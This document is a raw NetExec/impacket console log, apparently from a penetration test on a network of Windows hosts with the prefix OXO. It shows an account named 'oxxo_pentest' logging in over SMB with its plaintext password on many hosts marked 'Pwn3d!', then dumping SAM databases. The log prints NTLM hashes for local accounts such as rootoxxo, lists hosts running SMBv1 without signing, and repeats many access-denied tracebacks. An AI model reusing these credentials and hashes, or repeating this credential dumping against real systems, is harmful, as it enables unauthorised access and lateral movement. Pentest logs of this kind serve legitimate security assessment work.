│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied
SMB [Link] 445 OXODT020031
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXODT020031
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODT02090006 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020031


WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXODT020031 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXODT020065 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020010 [*] Dumping SAM hashes


SMB [Link] 445 OXODT020087 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020010
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
SMB [Link] 445 L-2090093059 [*] Windows Embedded Standard
7601 Service Pack 1 x32 (name:L-2090093059) (domain:L-2090093059) (signing:False)
(SMBv1:True)
SMB [Link] 445 L-2244778003 [*] Windows Embedded Standard
7601 Service Pack 1 x32 (name:L-2244778003) (domain:L-2244778003) (signing:False)
(SMBv1:True)
SMB [Link] 445 OXODT020097 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020010
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 L-2100577031 [*] Windows Embedded Standard
7601 Service Pack 1 x32 (name:L-2100577031) (domain:L-2100577031) (signing:False)
(SMBv1:True)
SMB [Link] 445 L-2100577026 [*] Windows Embedded Standard
7601 Service Pack 1 x32 (name:L-2100577026) (domain:L-2100577026) (signing:False)
(SMBv1:True)
SMB [Link] 445 L-2100577021 [*] Windows Embedded Standard
7601 Service Pack 1 x32 (name:L-2100577021) (domain:L-2100577021) (signing:False)
(SMBv1:True)
SMB [Link] 445 L-2100577018 [*] Windows Embedded Standard
7601 Service Pack 1 x32 (name:L-2100577018) (domain:L-2100577018) (signing:False)
(SMBv1:True)
SMB [Link] 445 L-2100577015 [*] Windows Embedded Standard
7601 Service Pack 1 x32 (name:L-2100577015) (domain:L-2100577015) (signing:False)
(SMBv1:True)
SMB [Link] 445 OXODT020010
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODT02100006 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020010
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXODT020010 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXODT020087 [*] Dumping SAM hashes
SMB [Link] 445 L-2244778007 [*] Windows Embedded Standard
7601 Service Pack 1 x32 (name:L-2244778007) (domain:L-2244778007) (signing:False)
(SMBv1:True)
SMB [Link] 445 OXODT02030003 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 L-2090093031 [*] Windows Embedded Standard
7601 Service Pack 1 x32 (name:L-2090093031) (domain:L-2090093031) (signing:False)
(SMBv1:True)
SMB [Link] 445 L-2090093021 [*] Windows Embedded Standard
7601 Service Pack 1 x32 (name:L-2090093021) (domain:L-2090093021) (signing:False)
(SMBv1:True)
SMB [Link] 445 L-2090093035 [*] Windows Embedded Standard
7601 Service Pack 1 x32 (name:L-2090093035) (domain:L-2090093035) (signing:False)
(SMBv1:True)
SMB [Link] 445 OXODT020087
rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020010 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020087
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 SOSO-PC [*] Windows 7 Ultimate 7601
Service Pack 1 x64 (name:SOSO-PC) (domain:soso-PC) (signing:False) (SMBv1:True)
SMB [Link] 445 SOSO-PC [*] Windows 10 / Server 2016
Build 16299 x64 (name:SOSO-PC) (domain:soso-PC) (signing:False) (SMBv1:False)
SMB [Link] 445 OXODT020087
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODT02050012 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXXKASTOSL01 [*] Windows Server 2008 R2
Standard 7601 Service Pack 1 x64 (name:OXXKASTOSL01) (domain:OXXKASTOSL01)
(signing:False) (SMBv1:True)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020087


WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXODT020022 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020087 [+] Added 4 SAM hashes to the
database
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020225 [-] Connection Error: [Errno


104] Connection reset by peer
SMB [Link] 445 OXODT020113 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 NONE [+] \oxxo_pentest:p8Z49-#MX6?
ki@ (Guest)
SMB [Link] 445 OXODT020151 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02030005 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT02060001 [-] Connection Error: [Errno


104] Connection reset by peer
SMB [Link] 445 OXODT02060004 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020077 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOLT020048 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020019 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02030010 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020227 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
